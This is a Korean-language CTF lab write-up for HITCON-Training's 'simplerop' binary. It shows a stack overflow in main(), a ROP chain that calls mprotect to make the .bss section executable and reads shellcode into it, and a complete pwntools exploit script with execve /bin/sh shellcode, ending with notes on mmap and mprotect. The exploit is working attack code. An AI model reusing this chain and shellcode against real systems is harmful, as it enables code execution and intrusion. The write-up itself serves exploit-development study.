문제


해당 바이너리는 다음과 같이 구성되어 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h]

  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

근데 어셈블리어를 보면 메인 함수의 prologue에 and esp, 0xfffffff0 명령어가 있는 것을 볼 수 있다. 따라서 실제 v4의 위치는 ebp-0x14가 아니고 직접 확인해야 한다.

또한 해당 바이너리는 statically linked가 되어 있다. (system 함수와 execve 함수 등이 없기 때문에 쉘 코드 삽입을 통해서 exploit을 해야 한다.)

exploit 방법

NX mprotect 함수를 통해 bss 영역에 rwx 권한을 부여하고 해당 영역에 shellcode를 삽입한다. 그리고 shellcode로 jmp하면 exploit을 할 수 있다. (bss 영역의 앞 쪽에 stdin 이나 stdout 등으로 쓰이는 변수가 저장되어 있기 때문에 bss + X 에 shellcode를 삽입하는게 좋음)

풀이

#!/usr/bin/python

from pwn import *
import time

file_path="/home/sungyun/HITCON-Training/LAB/lab5/simplerop"
nop="\x90"*50
shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

p=process(file_path)
p.recvuntil("input :")

mprotect=0x806d870
read=0x806cd50
pppr=0x080b4f39

bss_sec=0x080eb000


pay="A"*32
pay+=p32(mprotect)
pay+=p32(pppr)
pay+=p32(bss_sec)
pay+=p32(0x1000)
pay+=p32(7)
pay+=p32(read)
pay+=p32(bss_sec)
pay+=p32(0)
pay+=p32(bss_sec)
pay+=p32(0x100)


p.send(pay)
time.sleep(0.1)
p.send(nop+shell)
p.interactive()

알게 된 것


1. mmap 함수

void * mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

mmap 함수는 파일을 메모리에 대응시키는 함수이다. 즉, 메모리를 할당하고 fd에 대응되는 파일을 해당 메모리와 연결시키는 역할을 한다. 만약 fd 값이 -1이면 순수하게 메모리를 할당한다.

여기서 start에 들어가는 주소는 page size의 배수여야 한다. 또한 이 주소는 할당되지 않은 메모리여야 한다.

2. mprotect 함수

int mprotect(void *addr, size_t len, int prot);

mprotect의 addr도 mmap 함수와 마찬가지로 page size의 배수여야 한다. 그리고 이 주소는 이미 할당된 메모리의 주소여야 한다.

3. bss 영역의 주소는 readelf -S [binary] 를 통해 알 수 있다.